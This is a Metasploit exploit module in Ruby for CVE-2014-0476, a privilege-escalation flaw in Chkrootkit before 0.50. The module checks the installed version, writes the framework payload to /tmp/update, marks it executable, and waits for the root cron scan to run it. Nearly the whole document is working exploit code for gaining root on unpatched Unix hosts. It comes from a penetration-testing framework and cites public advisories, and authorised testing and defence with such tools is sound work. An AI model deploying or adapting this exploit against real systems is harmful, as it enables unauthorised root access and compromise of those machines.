Chkrootkit Local Privilege Escalation

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class Metasploit4 < Msf::Exploit::Local  
  
# This could also be Excellent, but since it requires  
# up to one day to pop a shell, let's set it to Manual instead.  
Rank = ManualRanking  
  
include Msf::Post::File  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Chkrootkit Local Privilege Escalation',  
'Description' => %q{  
Chkrootkit before 0.50 will run any executable file named  
/tmp/update as root, allowing a trivial privsec.  
  
WfsDelay is set to 24h, since this is how often a chkrootkit  
scan is scheduled by default.  
},  
'Author' => [  
'Thomas Stangner', # Original exploit  
'Julien "jvoisin" Voisin' # Metasploit module  
],  
'References' => [  
['CVE', '2014-0476'],  
['OSVDB', '107710'],  
['EDB', '33899'],  
['BID', '67813'],  
['CWE', '20'],  
['URL', 'http://seclists.org/oss-sec/2014/q2/430']  
],  
'DisclosureDate' => 'Jun 04 2014',  
'License' => MSF_LICENSE,  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'SessionTypes' => ['shell', 'meterpreter'],  
'Privileged' => true,  
'Stance' => Msf::Exploit::Stance::Passive,  
'Targets' => [['Automatic', {}]],  
'DefaultTarget' => 0,  
'DefaultOptions' => {'WfsDelay' => 60 * 60 * 24} # 24h  
))  
  
register_options([  
OptString.new('CHKROOTKIT', [true, 'Path to chkrootkit', '/usr/sbin/chkrootkit'])  
])  
end  
  
def check  
version = cmd_exec("#{datastore['CHKROOTKIT']} -V 2>&1")  
  
if version =~ /chkrootkit version 0\.[1-4]/  
Exploit::CheckCode::Appears  
else  
Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
print_warning('Rooting depends on the crontab (this could take a while)')  
  
write_file('/tmp/update', "#!/bin/sh\n(#{payload.encoded}) &\n")  
cmd_exec('chmod +x /tmp/update')  
register_file_for_cleanup('/tmp/update')  
  
print_status('Payload written to /tmp/update')  
print_status('Waiting for chkrootkit to run via cron...')  
end  
  
end  
`